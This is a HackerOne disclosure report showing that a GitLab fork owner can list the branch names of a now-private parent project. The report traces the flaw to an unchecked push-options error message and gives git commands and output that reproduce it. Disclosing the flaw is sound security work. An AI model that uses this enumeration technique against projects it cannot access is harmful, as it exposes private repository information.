Private project branches can be leaked through a fork
HackerOne report #1710533 by shells3c
on 2022-09-23, assigned to @dcouture:
Report
Summary
If you have a fork of a private/restricted project, you can easily scan for its branch names via Push Options with that fork.
The problem is caused by app/services/merge_requests/push_options_handler_service.rb:67
if push_options[:target] && !target_project.repository.branch_exists?(push_options[:target])
errors << "Target branch #{target_project.full_path}:#{push_options[:target]} does not exist"
It doesn't check if the user has the access to the project repository or not, therefore leaking the information unintentionally
Steps to reproduce
- Victim creates a project, say
victim/project
- Attacker forks that project:
attacker/project
- Victim makes that project private
- From the attacker's terminal:
$ git clone https://gitlab.instance/attacker/project.git
Cloning into 'project'...
remote: Enumerating objects: 52, done.
remote: Total 52 (delta 0), reused 0 (delta 0), pack-reused 52
Receiving objects: 100% (52/52), 5.50 KiB | 268.00 KiB/s, done.
Resolving deltas: 100% (6/6), done.
$ cd project
$ echo a > foo; git add -A; git commit -m .
...
$ # Let's check if this-branch-does-not-exist exists or not
$ git push -o merge_request.create -o merge_request.target=this-branch-does-not-exist
Username for 'https://gitlab.instance': attacker
Password for 'https://attacker@gitlab.instance':
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0
remote:
remote: ========================================================================
remote:
remote: WARNINGS: Error encountered with push options
remote: 'merge_request.create'
remote: 'merge_request.target=this-branch-does-not-exist': Target branch
remote: victim/project:this-branch-does-not-exist does not exist
remote:
remote: ========================================================================
remote:
To https://gitlab.instance/attacker/project.git
...
$ #The branch does not exist on victim/project, let's check if this-branch-exists exists or not
$ echo b > foo; git add -A; git commit -m .
...
$ git push -o merge_request.create -o merge_request.target=this-branch-exists
Username for 'https://gitlab.instance': attacker
Password for 'https://attacker@gitlab.instance':
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0
To https://gitlab.instance/attacker/project.git
...
$ #No error -> the branch exists
Output of checks
This bug happens on GitLab.com
Impact
Ability to enumerate branches of any private or restricted project if you have access to at least a fork
How To Reproduce
Please add reproducibility information to this section: